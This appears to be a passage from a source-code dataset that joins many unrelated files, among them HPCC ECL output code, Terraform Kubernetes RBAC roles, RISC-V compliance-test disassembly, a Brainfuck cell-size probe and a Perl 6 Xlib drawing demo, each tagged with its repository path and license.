#if(MaxField >= 4)
OutRec norm4(OutRec l, integer c) := transform
self.street := streets[c];
self := l;
end;
Norm4Recs := normalize( Norm3Recs, MaxElement, norm4(left, counter));
#end
#if(MaxField >= 5)
OutRec norm5(OutRec l, integer c) := transform
self.zip := zips[c];
self := l;
end;
Norm5Recs := normalize( distribute(Norm4Recs,hash(firstname,lastname)), MaxElement, norm5(left, counter));
#end
#if(MaxField >= 6)
OutRec norm6(OutRec l, integer c) := transform
self.age := ages[c];
self := l;
end;
Norm6Recs := normalize( distribute(Norm5Recs,hash(firstname,lastname)), MaxElement, norm6(left, counter));
#end
#if(MaxField >= 7)
OutRec norm7(OutRec l, integer c) := transform
self.state := states[c];
self := l;
end;
Norm7Recs := normalize( distribute(Norm6Recs,hash(firstname,lastname)), MaxElement, norm7(left, counter));
#end
#if(MaxField >= 8)
OutRec norm8(OutRec l, integer c) := transform
self.month := months[c];
self := l;
end;
Norm8Recs := normalize( distribute(Norm7Recs,hash(firstname,lastname)), MaxElement, norm8(left, counter));
#end
#IF(MaxField=1) output(Norm1Recs,,FileOut+'FLAT',overwrite); #end
#IF(MaxField=2) output(Norm2Recs,,FileOut+'FLAT',overwrite); #end
#IF(MaxField=3) output(Norm3Recs,,FileOut+'FLAT',overwrite); #end
#IF(MaxField=4) output(Norm4Recs,,FileOut+'FLAT',overwrite); #end
#IF(MaxField=5) output(Norm5Recs,,FileOut+'FLAT',overwrite); #end
#IF(MaxField=6) output(Norm6Recs,,FileOut+'FLAT',overwrite); #end
#IF(MaxField=7) output(Norm7Recs,,FileOut+'FLAT',overwrite); #end
#IF(MaxField=8) output(Norm8Recs,,FileOut+'FLAT',overwrite); #end
#IF(MaxField=1) output(Norm1Recs,,FileOut+'CSV',CSV,overwrite); #end
#IF(MaxField=2) output(Norm2Recs,,FileOut+'CSV',CSV,overwrite); #end
#IF(MaxField=3) output(Norm3Recs,,FileOut+'CSV',CSV,overwrite); #end
#IF(MaxField=4) output(Norm4Recs,,FileOut+'CSV',CSV,overwrite); #end
#IF(MaxField=5) output(Norm5Recs,,FileOut+'CSV',CSV,overwrite); #end
#IF(MaxField=6) output(Norm6Recs,,FileOut+'CSV',CSV,overwrite); #end
#IF(MaxField=7) output(Norm7Recs,,FileOut+'CSV',CSV,overwrite); #end
#IF(MaxField=8) output(Norm8Recs,,FileOut+'CSV',CSV,overwrite); #end
#IF(MaxField=1) output(Norm1Recs,,FileOut+'XML',XML,overwrite); #end
#IF(MaxField=2) output(Norm2Recs,,FileOut+'XML',XML,overwrite); #end
#IF(MaxField=3) output(Norm3Recs,,FileOut+'XML',XML,overwrite); #end
#IF(MaxField=4) output(Norm4Recs,,FileOut+'XML',XML,overwrite); #end
#IF(MaxField=5) output(Norm5Recs,,FileOut+'XML',XML,overwrite); #end
#IF(MaxField=6) output(Norm6Recs,,FileOut+'XML',XML,overwrite); #end
#IF(MaxField=7) output(Norm7Recs,,FileOut+'XML',XML,overwrite); #end
#IF(MaxField=8) output(Norm8Recs,,FileOut+'XML',XML,overwrite); #end
| ECL | 4 | miguelvazq/HPCC-Platform | ecl/regress/xmlout.ecl | [
"Apache-2.0"
] |
variable "k8s_admin_groups" {
description = "List of AD Group IDs to configure as Kubernetes admins"
type = list(string)
}
resource "kubernetes_cluster_role" "debug" {
metadata {
name = "debug"
}
rule {
api_groups = [""]
resources = ["pods/portforward", "pods/exec"]
verbs = ["create"]
}
}
resource "kubernetes_role_binding" "aad-debuggers" {
count = min(length(var.k8s_debugger_groups), 1)
metadata {
name = "aad-debuggers"
}
role_ref {
api_group = "rbac.authorization.k8s.io"
kind = "ClusterRole"
name = kubernetes_cluster_role.debug.metadata[0].name
}
dynamic "subject" {
for_each = var.k8s_debugger_groups
content {
kind = "Group"
name = subject.value
}
}
}
resource "kubernetes_role_binding" "aad-viewers" {
count = min(length(var.k8s_viewer_groups) + length(var.k8s_debugger_groups), 1)
metadata {
name = "aad-viewers"
}
role_ref {
api_group = "rbac.authorization.k8s.io"
kind = "ClusterRole"
name = "view"
}
dynamic "subject" {
for_each = var.k8s_viewer_groups
content {
kind = "Group"
name = subject.value
}
}
dynamic "subject" {
for_each = var.k8s_debugger_groups
content {
kind = "Group"
name = subject.value
}
}
}
| HCL | 4 | PragmaTwice/diem | terraform/validator/azure/aad/aks-aad.tf | [
"Apache-2.0"
] |
export AMPLXE_EXPERIMENTAL=1
/opt/intel/vtune_amplifier_xe/bin64/amplxe-cl -collect hotspots /opt/taobao/install/jdk-1.7.0_10/bin/java -classpath target/classes/:target/test-classes/ com.alibaba.json.test.benchmark.BenchmarkMain
| Shell | 2 | Czarek93/fastjson | x.sh | [
"Apache-2.0"
] |
import "std/test"
import "std/collections" as col
test.run("Maps", fn(assert) {
const hash = {
"key1": "value1",
"key2": "value2",
"key3": "value3",
"key4": "value4",
}
const keys = hashKeys(hash);
const expectedKeys = ["key1", "key2", "key3", "key4"]
assert.isEq(len(keys), len(expectedKeys))
col.foreach(expectedKeys, fn(i, v) {
assert.isTrue(col.contains(keys, v))
})
})
| Inform 7 | 4 | lfkeitel/nitrogen | tests/basic/maps.ni | [
"BSD-3-Clause"
] |
const foo = fade('#aaa');
| JavaScript | 0 | good-gym/material-ui | packages/material-ui-codemod/src/v5.0.0/fade-rename-alpha.test/unmodified.js | [
"MIT"
] |
; error: must be string literal
(echo 123)
; ok
(echo "whatnot")
; with escaping
(echo "what""not")
| SMT | 3 | mauguignard/cbmc | regression/smt2_solver/echo/echo1.smt2 | [
"BSD-4-Clause"
] |
module tour/addressBook1e ----- Page 11
sig Name, Addr { }
sig Book {
addr: Name -> lone Addr
}
pred add [b, b1: Book, n: Name, a: Addr] {
b1.addr = b.addr + n->a
}
// This command generates an instance similar to Fig 2.4
run add for 3 but 2 Book
| Alloy | 4 | haslab/Electrum | electrum/src/main/resources/models/book/chapter2/addressBook1e.als | [
"MIT"
] |
// !JVM_DEFAULT_MODE: all
// TARGET_BACKEND: JVM
// JVM_TARGET: 1.8
import kotlin.reflect.KProperty
class Delegate {
operator fun getValue(t: Any?, p: KProperty<*>): String = p.name
}
interface Foo {
fun test(): String {
val O by Delegate()
return O
}
}
interface Foo2: Foo {
override fun test(): String {
val K by Delegate()
return super.test() + K
}
}
fun box(): String {
return object : Foo2 {}.test()
} | Kotlin | 3 | vitekkor/bbfgradle | tmp/arrays/localDelegatedProperties2.kt | [
"Apache-2.0"
] |
/home/spinalvm/hdl/riscv-compliance/work//I-LB-01.elf: file format elf32-littleriscv
Disassembly of section .text.init:
80000000 <_start>:
80000000: 00001f97 auipc t6,0x1
80000004: 000f8f93 mv t6,t6
80000008: 00001117 auipc sp,0x1
8000000c: 03810113 addi sp,sp,56 # 80001040 <codasip_signature_start>
80000010: 000f8183 lb gp,0(t6) # 80001000 <test_A1_data>
80000014: 001f8203 lb tp,1(t6)
80000018: 002f8283 lb t0,2(t6)
8000001c: 003f8303 lb t1,3(t6)
80000020: 00312023 sw gp,0(sp)
80000024: 00412223 sw tp,4(sp)
80000028: 00512423 sw t0,8(sp)
8000002c: 00612623 sw t1,12(sp)
80000030: 00001c17 auipc s8,0x1
80000034: fd5c0c13 addi s8,s8,-43 # 80001005 <test_A2_data+0x1>
80000038: 00001297 auipc t0,0x1
8000003c: 01828293 addi t0,t0,24 # 80001050 <test_A2_res>
80000040: fffc0c83 lb s9,-1(s8)
80000044: 000c0d03 lb s10,0(s8)
80000048: 001c0d83 lb s11,1(s8)
8000004c: 002c0e03 lb t3,2(s8)
80000050: 0192a023 sw s9,0(t0)
80000054: 01a2a223 sw s10,4(t0)
80000058: 01b2a423 sw s11,8(t0)
8000005c: 01c2a623 sw t3,12(t0)
80000060: 00001397 auipc t2,0x1
80000064: fa738393 addi t2,t2,-89 # 80001007 <test_A2_data+0x3>
80000068: 00001417 auipc s0,0x1
8000006c: ff840413 addi s0,s0,-8 # 80001060 <test_A3_res>
80000070: 00138f03 lb t5,1(t2)
80000074: 00238f83 lb t6,2(t2)
80000078: 00338083 lb ra,3(t2)
8000007c: 00438103 lb sp,4(t2)
80000080: 01e42023 sw t5,0(s0)
80000084: 01f42223 sw t6,4(s0)
80000088: 00142423 sw ra,8(s0)
8000008c: 00242623 sw sp,12(s0)
80000090: 00001517 auipc a0,0x1
80000094: 77c50513 addi a0,a0,1916 # 8000180c <_end+0x73c>
80000098: 00001597 auipc a1,0x1
8000009c: fd858593 addi a1,a1,-40 # 80001070 <test_A4_res>
800000a0: 80050603 lb a2,-2048(a0)
800000a4: 80150683 lb a3,-2047(a0)
800000a8: 80250703 lb a4,-2046(a0)
800000ac: 80350783 lb a5,-2045(a0)
800000b0: 00c5a023 sw a2,0(a1)
800000b4: 00d5a223 sw a3,4(a1)
800000b8: 00e5a423 sw a4,8(a1)
800000bc: 00f5a623 sw a5,12(a1)
800000c0: 00000697 auipc a3,0x0
800000c4: 75468693 addi a3,a3,1876 # 80000814 <complience_halt_break+0x608>
800000c8: 00001717 auipc a4,0x1
800000cc: fb870713 addi a4,a4,-72 # 80001080 <test_A5_res>
800000d0: 7fc68783 lb a5,2044(a3)
800000d4: 7fd68803 lb a6,2045(a3)
800000d8: 7fe68883 lb a7,2046(a3)
800000dc: 7ff68903 lb s2,2047(a3)
800000e0: 00f72023 sw a5,0(a4)
800000e4: 01072223 sw a6,4(a4)
800000e8: 01172423 sw a7,8(a4)
800000ec: 01272623 sw s2,12(a4)
800000f0: 00001817 auipc a6,0x1
800000f4: f2880813 addi a6,a6,-216 # 80001018 <test_B_data>
800000f8: 00001897 auipc a7,0x1
800000fc: f9888893 addi a7,a7,-104 # 80001090 <test_B_res>
80000100: ffc80903 lb s2,-4(a6)
80000104: ffd80983 lb s3,-3(a6)
80000108: ffe80a03 lb s4,-2(a6)
8000010c: fff80a83 lb s5,-1(a6)
80000110: 00080b03 lb s6,0(a6)
80000114: 00180b83 lb s7,1(a6)
80000118: 00280c03 lb s8,2(a6)
8000011c: 00380c83 lb s9,3(a6)
80000120: 00480d03 lb s10,4(a6)
80000124: 00580d83 lb s11,5(a6)
80000128: 00680e03 lb t3,6(a6)
8000012c: 00780e83 lb t4,7(a6)
80000130: 0128a023 sw s2,0(a7)
80000134: 0138a223 sw s3,4(a7)
80000138: 0148a423 sw s4,8(a7)
8000013c: 0158a623 sw s5,12(a7)
80000140: 0168a823 sw s6,16(a7)
80000144: 0178aa23 sw s7,20(a7)
80000148: 0188ac23 sw s8,24(a7)
8000014c: 0198ae23 sw s9,28(a7)
80000150: 03a8a023 sw s10,32(a7)
80000154: 03b8a223 sw s11,36(a7)
80000158: 03c8a423 sw t3,40(a7)
8000015c: 03d8a623 sw t4,44(a7)
80000160: 00001a97 auipc s5,0x1
80000164: ec0a8a93 addi s5,s5,-320 # 80001020 <test_C_data>
80000168: 00001b17 auipc s6,0x1
8000016c: f58b0b13 addi s6,s6,-168 # 800010c0 <test_C_res>
80000170: 000a8003 lb zero,0(s5)
80000174: 000b2023 sw zero,0(s6)
80000178: 00001a97 auipc s5,0x1
8000017c: eaca8a93 addi s5,s5,-340 # 80001024 <test_D_data>
80000180: 00001b17 auipc s6,0x1
80000184: f44b0b13 addi s6,s6,-188 # 800010c4 <test_D_res>
80000188: 000aab83 lw s7,0(s5)
8000018c: 000b8c03 lb s8,0(s7)
80000190: 000c0c93 mv s9,s8
80000194: 019b2023 sw s9,0(s6)
80000198: 00001c97 auipc s9,0x1
8000019c: e94c8c93 addi s9,s9,-364 # 8000102c <test_E1_data>
800001a0: 00001d17 auipc s10,0x1
800001a4: f28d0d13 addi s10,s10,-216 # 800010c8 <test_E1_res>
800001a8: 000c8c83 lb s9,0(s9)
800001ac: 019d2023 sw s9,0(s10)
800001b0: 00001d97 auipc s11,0x1
800001b4: e81d8d93 addi s11,s11,-383 # 80001031 <test_E2_data+0x1>
800001b8: 00001e17 auipc t3,0x1
800001bc: f14e0e13 addi t3,t3,-236 # 800010cc <test_E2_res>
800001c0: fffd8d83 lb s11,-1(s11)
800001c4: 01be2023 sw s11,0(t3)
800001c8: 00001517 auipc a0,0x1
800001cc: e7850513 addi a0,a0,-392 # 80001040 <codasip_signature_start>
800001d0: 00001597 auipc a1,0x1
800001d4: f0058593 addi a1,a1,-256 # 800010d0 <_end>
800001d8: f0100637 lui a2,0xf0100
800001dc: f2c60613 addi a2,a2,-212 # f00fff2c <_end+0x700fee5c>
800001e0 <complience_halt_loop>:
800001e0: 02b50663 beq a0,a1,8000020c <complience_halt_break>
800001e4: 00c52683 lw a3,12(a0)
800001e8: 00d62023 sw a3,0(a2)
800001ec: 00852683 lw a3,8(a0)
800001f0: 00d62023 sw a3,0(a2)
800001f4: 00452683 lw a3,4(a0)
800001f8: 00d62023 sw a3,0(a2)
800001fc: 00052683 lw a3,0(a0)
80000200: 00d62023 sw a3,0(a2)
80000204: 01050513 addi a0,a0,16
80000208: fd9ff06f j 800001e0 <complience_halt_loop>
8000020c <complience_halt_break>:
8000020c: f0100537 lui a0,0xf0100
80000210: f2050513 addi a0,a0,-224 # f00fff20 <_end+0x700fee50>
80000214: 00052023 sw zero,0(a0)
...
Disassembly of section .data:
80001000 <test_A1_data>:
80001000: f222 fsw fs0,36(sp)
80001002: 11f1 addi gp,gp,-4
80001004 <test_A2_data>:
80001004: 44f4 lw a3,76(s1)
80001006: 0xf666f333
80001008 <test_A3_data>:
80001008: f666 fsw fs9,44(sp)
8000100a: 55f5 li a1,-3
8000100c <test_A4_data>:
8000100c: 88f8 0x88f8
8000100e: 0xaaaf777
80001010 <test_A5_data>:
80001010: 0aaa slli s5,s5,0xa
80001012: 9909 andi a0,a0,-30
80001014: cc0c sw a1,24(s0)
80001016: 0xeee0bbb
80001018 <test_B_data>:
80001018: 0eee slli t4,t4,0x1b
8000101a: dd0d beqz a0,80000f54 <complience_halt_break+0xd48>
8000101c: 00f0 addi a2,sp,76
8000101e: 0fff 0xfff
80001020 <test_C_data>:
80001020: 5678 lw a4,108(a2)
80001022: 1234 addi a3,sp,296
80001024 <test_D_data>:
80001024: 1028 addi a0,sp,40
80001026: 8000 0x8000
80001028 <test_D_data2_label>:
80001028: def0 sw a2,124(a3)
8000102a: 9abc 0x9abc
8000102c <test_E1_data>:
8000102c: 3210 fld fa2,32(a2)
8000102e: 7654 flw fa3,44(a2)
80001030 <test_E2_data>:
80001030: ba98 fsd fa4,48(a3)
80001032: fedc fsw fa5,60(a3)
...
80001040 <codasip_signature_start>:
80001040: ffff 0xffff
80001042: ffff 0xffff
80001044: ffff 0xffff
80001046: ffff 0xffff
80001048: ffff 0xffff
8000104a: ffff 0xffff
8000104c: ffff 0xffff
8000104e: ffff 0xffff
80001050 <test_A2_res>:
80001050: ffff 0xffff
80001052: ffff 0xffff
80001054: ffff 0xffff
80001056: ffff 0xffff
80001058: ffff 0xffff
8000105a: ffff 0xffff
8000105c: ffff 0xffff
8000105e: ffff 0xffff
80001060 <test_A3_res>:
80001060: ffff 0xffff
80001062: ffff 0xffff
80001064: ffff 0xffff
80001066: ffff 0xffff
80001068: ffff 0xffff
8000106a: ffff 0xffff
8000106c: ffff 0xffff
8000106e: ffff 0xffff
80001070 <test_A4_res>:
80001070: ffff 0xffff
80001072: ffff 0xffff
80001074: ffff 0xffff
80001076: ffff 0xffff
80001078: ffff 0xffff
8000107a: ffff 0xffff
8000107c: ffff 0xffff
8000107e: ffff 0xffff
80001080 <test_A5_res>:
80001080: ffff 0xffff
80001082: ffff 0xffff
80001084: ffff 0xffff
80001086: ffff 0xffff
80001088: ffff 0xffff
8000108a: ffff 0xffff
8000108c: ffff 0xffff
8000108e: ffff 0xffff
80001090 <test_B_res>:
80001090: ffff 0xffff
80001092: ffff 0xffff
80001094: ffff 0xffff
80001096: ffff 0xffff
80001098: ffff 0xffff
8000109a: ffff 0xffff
8000109c: ffff 0xffff
8000109e: ffff 0xffff
800010a0: ffff 0xffff
800010a2: ffff 0xffff
800010a4: ffff 0xffff
800010a6: ffff 0xffff
800010a8: ffff 0xffff
800010aa: ffff 0xffff
800010ac: ffff 0xffff
800010ae: ffff 0xffff
800010b0: ffff 0xffff
800010b2: ffff 0xffff
800010b4: ffff 0xffff
800010b6: ffff 0xffff
800010b8: ffff 0xffff
800010ba: ffff 0xffff
800010bc: ffff 0xffff
800010be: ffff 0xffff
800010c0 <test_C_res>:
800010c0: ffff 0xffff
800010c2: ffff 0xffff
800010c4 <test_D_res>:
800010c4: ffff 0xffff
800010c6: ffff 0xffff
800010c8 <test_E1_res>:
800010c8: ffff 0xffff
800010ca: ffff 0xffff
800010cc <test_E2_res>:
800010cc: ffff 0xffff
800010ce: ffff 0xffff
| ObjDump | 3 | cbrune/VexRiscv | src/test/resources/asm/I-LB-01.elf.objdump | [
"MIT"
] |
val x = "Hello world"
| UrWeb | 0 | apple314159/urweb | tests/dep1.ur | [
"BSD-3-Clause"
] |
#version 3.6;
#include "colors.inc"
#include "metals.inc"
#include "textures.inc"
global_settings {
max_trace_level 64
}
camera {
location <1,2.5,-5>
right 0.2*x*image_width/image_height
up 0.2*y
look_at <0,0,0>
}
background{rgb 1}
light_source{<-0.8,3,-2> color rgb <0.77,0.75,0.75>}
light_source{<2.5,1.2,-1.2> color rgb <0.38,0.40,0.40>}
#declare r=0.002;
union{
#include "degenerate2_m.pov"
pigment{rgb <1,0.2,0.25>} finish{specular 0.2 ambient 0.42}
}
union{
#include "degenerate2_v.pov"
texture{T_Gold_3C}
}
| POV-Ray SDL | 3 | wgq-iapcm/Parvoro- | 3rdparty/voro++-0.4.6/examples/degenerate/degenerate2.pov | [
"BSD-3-Clause"
] |
// Calculate (16*16*16*16)^128 AKA 2^2048
++[>++++++++<-]>[>++++++++<-]>[<<
+>>[-<<
[->++++++++++++++++<]>[-<++++++++++++++++>]<
[->++++++++++++++++<]>[-<++++++++++++++++>]<
>>]]<+<
// If that's not zero we have a bignum; probably
[
// Calculate 2^112 this is too large for any floating point type
// to treat as an integer
[-]>[-]>[-]+++++++<<
+>>[-<<
[->++++++++++++++++<]>[-<++++++++++++++++>]<
[->++++++++++++++++<]>[-<++++++++++++++++>]<
>>]<<
// If X and X minus one are the same we have a float type
[->+>+<<] >>- [-<->] +<
[[-]>
// Unknown or huge cell size
>>>>>[-]<[-]<[-]<[-]<[-]<[-]>++++++[<++++>-]<[>+++++>++++>+>++>+
++<<<<<-]>>>>>.<<<<---.>+++++++.--.>++++++++.<<------.+++.>>.<<-
---.+.-.>>>---.<<---.+++++++.<.>--------.<++++.+++++++.>>.<++.++
.<-------------..+++++++.>>.<+.<----.++++++.-------.>--.>>+.>[-]
<[-]<[-]<[-]<[-]<
<]
>[
// Floating point cells found
>>>>[-]<[-]<[-]<[-]<[-]>++++[<++++>-]<[>++++>+++++++>++++++>++<<
<<-]>++++++.>----.+++.>+.<+++++.>++++++++.+++++.-------.>.<<----
.-.>++.<-.++++++.>>.<------.++.+++++++..<-.>>.<------.<----.++++
++.-------.>--.>++++++++++++++.[-]<[-]<[-]<[-]<
]<
// Check for a compile problem
>[-]+++++[<++++++>-]<++ >+<[->[->++<]>[-<+>]<<]
#
>>+<[[-]>-<]>[
>[-]<[-]>++++++++[<++++>-]<.>++++++[<++++++>-]<+.+++++++++++
++..---.+++.[-]
]<<
#
<[-]]
>[>
// The cell is a binary type less than 2^2048; find exactly how
// many bits it is
>+[ [->++<]>[-<+>]<<+> ]<
// and print it
>>++++[<++++>-]<+[>++++++>+++++++>++>+++++<<<<-]>>>>-.<<<++.+.>-
---.>--.<<.+++++.>+.<---------.>--.--.++.<.>++.<.>--.>.<<+++.---
----.>+.>.>[-]<[-]<[-]<[-]<<
>[-]>[-]>[-]>[-]>[-]>[-]+>[-]+>[-]+>[-]+<<<<<<<<<[->>+>+<<<]>>>[
-<<<+>>>]<[>[-]>[-]<<[>+>+<<-]>>[<<+>>-]+++++++++<[>>>[-]+<<[>+>
[-]<<-]>[<+>-]>[<<++++++++++>>-]<<-<-]+++++++++>[<->-]<[>+<-]<[>
+<-]<[>+<-]>>>[<<<+>>>-]>>>[-]<<<+++++++++<[>>>[-]+<<[>+>[-]<<-]
>[<+>-]>[<<++++++++++>>>+<-]<<-<-]>>>>[<<<<+>>>>-]<<<[-]<<+>]<[>
[-]<[>+<-]+++++++[<+++++++>-]<-.[-]>>[<<+>>-]<<-]<
>>>[-]<[-]<[-]<[-]>++++[<++++>-]<[>++++++>+++++++>++<<<-]>++.+++
++++.>++++.>.<<------.++.+++++++..>-.>++++++++++++++.[-]<[-]<[-]
<
<[-]]<
[-]++++++++++.[-] | Brainfuck | 2 | RubenNL/brainheck | examples/cell-size-1.bf | [
"Apache-2.0"
] |
package com.baeldung.akka;
import akka.actor.UntypedActor;
import org.springframework.beans.factory.config.ConfigurableBeanFactory;
import org.springframework.context.annotation.Scope;
import org.springframework.stereotype.Component;
@Component
@Scope(ConfigurableBeanFactory.SCOPE_PROTOTYPE)
public class GreetingActor extends UntypedActor {
private GreetingService greetingService;
public GreetingActor(GreetingService greetingService) {
this.greetingService = greetingService;
}
@Override
public void onReceive(Object message) throws Throwable {
if (message instanceof Greet) {
String name = ((Greet) message).getName();
getSender().tell(greetingService.greet(name), getSelf());
} else {
unhandled(message);
}
}
public static class Greet {
private String name;
public Greet(String name) {
this.name = name;
}
public String getName() {
return name;
}
}
}
| Java | 4 | DBatOWL/tutorials | spring-akka/src/main/java/com/baeldung/akka/GreetingActor.java | [
"MIT"
] |
@forward "./index" as mdc-touch-target-* hide mdc-touch-target-wrapper, mdc-touch-target-touch-target, mdc-touch-target-margin;
| SCSS | 0 | panoschal/material-components-web | packages/mdc-touch-target/_variables.import.scss | [
"MIT"
] |
/**
* This file is part of the Phalcon Framework.
*
* (c) Phalcon Team <team@phalcon.io>
*
* For the full copyright and license information, please view the LICENSE.txt
* file that was distributed with this source code.
*/
namespace Phalcon\Support\Helper\Str;
class Interpolate
{
/**
* Interpolates context values into the message placeholders
*
* @see http://www.php-fig.org/psr/psr-3/ Section 1.2 Message
*
* @param string $message
* @param array $context
*/
public function __invoke(
string message,
array context = [],
string leftToken = "%",
string rightToken = "%"
) -> string {
var key, value;
array replace;
if !empty context {
let replace = [];
for key, value in context {
let replace[leftToken . key . rightToken] = value;
}
return strtr(message, replace);
}
return message;
}
}
| Zephir | 4 | stijn1989/cphalcon | phalcon/Support/Helper/Str/Interpolate.zep | [
"BSD-3-Clause"
] |
% this generates the macro that will cause the program to be iconified
% thanks to Mark Callow for the code
% invoked from C as (void)flipiconic(window_id);
cdef flipiconic(int gid)
/flipiconic gid gfsend
| Component Pascal | 2 | lkesteloot/alice | alice4/software/flight/iconize.cps | [
"Apache-2.0"
] |
using Test
using Pluto
using Pluto: update_run!, ServerSession, ClientSession, Cell, Notebook
@testset "CellDepencencyVisualization" begin
🍭 = ServerSession()
🍭.options.evaluation.workspace_use_distributed = false
fakeclient = ClientSession(:fake, nothing)
🍭.connected_clients[fakeclient.id] = fakeclient
notebook = Notebook([
Cell("x = 1"), # prerequisite of test cell
Cell("f(x) = x + y"), # depends on test cell
Cell("f(3)"),
Cell("""begin
g(a) = x
g(a,b) = y
end"""), # depends on test cell
Cell("y = x"), # test cell below
Cell("g(6) + g(6,6)"),
Cell("using Dates"),
])
fakeclient.connected_notebook = notebook
update_run!(🍭, notebook, notebook.cells)
state = Pluto.notebook_to_js(notebook)
id(i) = notebook.cells[i].cell_id
order_of(i) = findfirst(isequal(id(i)), state["cell_execution_order"])
@test order_of(7) < order_of(1) < order_of(5) < order_of(2) < order_of(3)
deps = state["cell_dependencies"]
@test deps[id(5)]["downstream_cells_map"] |> keys == Set(["y"])
@test deps[id(5)]["downstream_cells_map"]["y"] == [id(2), id(4)]
@test deps[id(5)]["upstream_cells_map"] |> keys == Set(["x"])
@test deps[id(5)]["upstream_cells_map"]["x"] == [id(1)]
# test if this also works for function definitions
@test deps[id(2)]["downstream_cells_map"] |> keys == Set(["f"])
@test deps[id(2)]["downstream_cells_map"]["f"] == [id(3)]
@test deps[id(2)]["upstream_cells_map"] |> keys == Set(["y", "+"])
@test deps[id(2)]["upstream_cells_map"]["y"] == [id(5)]
@test deps[id(2)]["upstream_cells_map"]["+"] == [] # + function is not defined / extended in the notebook
@test deps[id(1)]["precedence_heuristic"] > deps[id(7)]["precedence_heuristic"]
end
| Julia | 5 | Mechachleopteryx/Pluto.jl | test/DependencyCache.jl | [
"MIT"
] |
/* Copyright (c) 2017-2019 Netronome Systems, Inc. All rights reserved.
*
* SPDX-License-Identifier: BSD-2-Clause
*/
;TEST_INIT_EXEC nfp-reg mereg:i32.me0.XferIn_32=0xffff
;TEST_INIT_EXEC nfp-reg mereg:i32.me0.XferIn_33=0xffffffff
;TEST_INIT_EXEC nfp-reg mereg:i32.me0.XferIn_34=0xdeadbeef
;TEST_INIT_EXEC nfp-reg mereg:i32.me0.XferIn_35=0xdeadbeef
#include "pkt_ipv4_udp_x88.uc"
#include <global.uc>
#include "actions_harness.uc"
#include <actions.uc>
#include "actions_classify_veb_insertion.uc"
.reg expected_pv_broadcast
.reg key[2]
.reg action[2]
//move(expected_pv_broadcast, NULL_VLAN<<BF_L(PV_VLAN_ID_bf)
// | 1<<BF_L(PV_BROADCAST_PROMISC_bf))
move(key[0], 0xfff00011)
move(key[1], 0x22334455)
move(action[0], 0xeeffc000)
move(action[1], 0xefbeadde)
veb_entry_insert(key, action, continue#)
continue#:
local_csr_wr[T_INDEX, (32 * 4)]
immed[__actions_t_idx, (32 * 4)]
test_assert_equal($__actions[0], 0xffff)
test_assert_equal($__actions[1], 0xffffffff)
alu[__actions_t_idx, t_idx_ctx, OR, &$__actions[0], <<2]
nop
local_csr_wr[T_INDEX, __actions_t_idx]
nop
nop
nop
__actions_veb_lookup(pkt_vec, discards_filter_mac#)
//test_assert_equal(pkt_vec[PV_VLAN_wrd], expected_pv_broadcast)
test_assert_equal($__actions[0], 0xc0ffee)
test_assert_equal($__actions[1], 0xdeadbeef)
test_assert_equal(*$index++, 0xc0ffee)
test_assert_equal(*$index++, 0xdeadbeef)
test_pass()
discards_filter_mac#:
error_map_fd#:
lookup_not_found#:
test_fail()
PV_SEEK_SUBROUTINE#:
pv_seek_subroutine(pkt_vec)
| UnrealScript | 4 | pcasconnetronome/nic-firmware | test/datapath/actions_classify_mac_vf_match_promiscuos_ipv4_udp_x88_test.uc | [
"BSD-2-Clause"
] |
@GrabResolver(name='clojars.org', root='https://clojars.org/repo')
@Grab('redis.embedded:embedded-redis:0.2')
@Component
class EmbeddedRedis {
} | Groovy | 2 | yiou362/spring-boot-2.2.9.RELEASE | spring-boot-project/spring-boot-cli/src/it/resources/jar-command/bad.groovy | [
"Apache-2.0"
] |
#include <console>
main() {
new a[1] = {1};
new i = 1;
// When compiled with at least debug level 1 (default) the line below should produce:
// Run time error 4: "Array index out of bounds"
printf("%d", a[i]);
}
| PAWN | 3 | pawn-lang/pawn | source/compiler/tests/runtime_test_example.pwn | [
"Zlib"
] |
USING: alien alien.c-types assocs compiler.cfg.registers
cpu.architecture cpu.x86.64 cpu.x86.assembler cpu.x86.assembler.operands make
sequences tools.test ;
IN: cpu.x86.64.tests
: assembly-test-1 ( -- x ) int { } cdecl [ RAX 3 MOV ] alien-assembly ;
[ 3 ] [ assembly-test-1 ] unit-test
: assembly-test-2 ( a b -- x )
int { int int } cdecl [
param-reg-0 param-reg-1 ADD
int-regs return-regs at first param-reg-0 MOV
] alien-assembly ;
[ 23 ] [ 17 6 assembly-test-2 ] unit-test
{ B{ 73 131 198 24 } } [
[ T{ ds-loc { n 3 } } %inc ] B{ } make
] unit-test
| Factor | 3 | alex-ilin/factor | basis/cpu/x86/64/64-tests.factor | [
"BSD-2-Clause"
] |
# Copyright (C) 2008-2009, Parrot Foundation.
use v6;
=begin pod
=head1 NAME
xlibtest.p6 - A test of Xlib.pir usage from rakudo
=head1 DESCRIPTION
This program is a test of Xlib.pir usage from rakudo.
=head1 SYNOPSYS
To run this file, execute the following command from the
current directory:
../../perl6 xlibtest.p6
(You must have the perl6 executable already builded).
Press Esc key to exit the program.
=end pod
use Xlib:from<parrot>;
# Event types
constant KeyPress = 2;
constant ButtonPress = 4;
constant ButtonRelease = 5;
constant MotionNotify = 6;
constant Expose = 12;
constant DestroyNotify = 17;
constant ClientMessage = 33;
say 'Hello';
say 'Display: ', Xlib::DisplayName();
my $display = Xlib::OpenDisplay('');
say 'Default screen: ', $display.DefaultScreen();
$display.hello();
my $white = $display.WhitePixel(0);
my $root = $display.RootWindow();
my $window = $display.CreateSimpleWindow($root, 0, 0, 600, 400, 0, 0, $white);
$window.StoreName("Hello, perl6");
$window.SelectInput(163919);
$window.Map();
# Get Escape keycode
my $keysym = Xlib::StringToKeysym('Escape');
my $code_escape = $display.KeysymToKeycode($keysym);
my $event = Xlib::newEvent();
my $type = 0;
my $lastx = 0;
my $lasty = 0;
my $pressed = 0;
my @listline;
my @line;
while $type != DestroyNotify {
$display.NextEvent($event);
$type = $event.type();
given $type {
when ButtonPress {
my $x = $event.x();
my $y = $event.y();
$window.DrawPoint($x, $y);
$lastx = $x;
$lasty = $y;
$pressed = 1;
}
when ButtonRelease {
my @newline = @line;
@listline.push(\@newline);
@line = ();
$pressed = 0;
}
when MotionNotify {
if $pressed {
my $x = $event.x();
my $y = $event.y();
if $x != $lastx || $y != $lasty {
$window.DrawLine($lastx, $lasty, $x, $y);
$lastx = $x;
$lasty = $y;
@line.push($x, $y);
}
}
}
when Expose {
#say 'Exposed. Lines: ', +@listline;
for @listline -> $l {
#say 'Points ', $l.elems;
if $l.elems > 0 {
my $lx = $l[0];
my $ly = $l[1];
#say $lx, ' ', $ly;
$window.DrawPoint($lx, $ly);
loop (my $i = 2; $i < $l.elems ; $i += 2) {
my $x = $l[$i];
my $y = $l[$i+1];
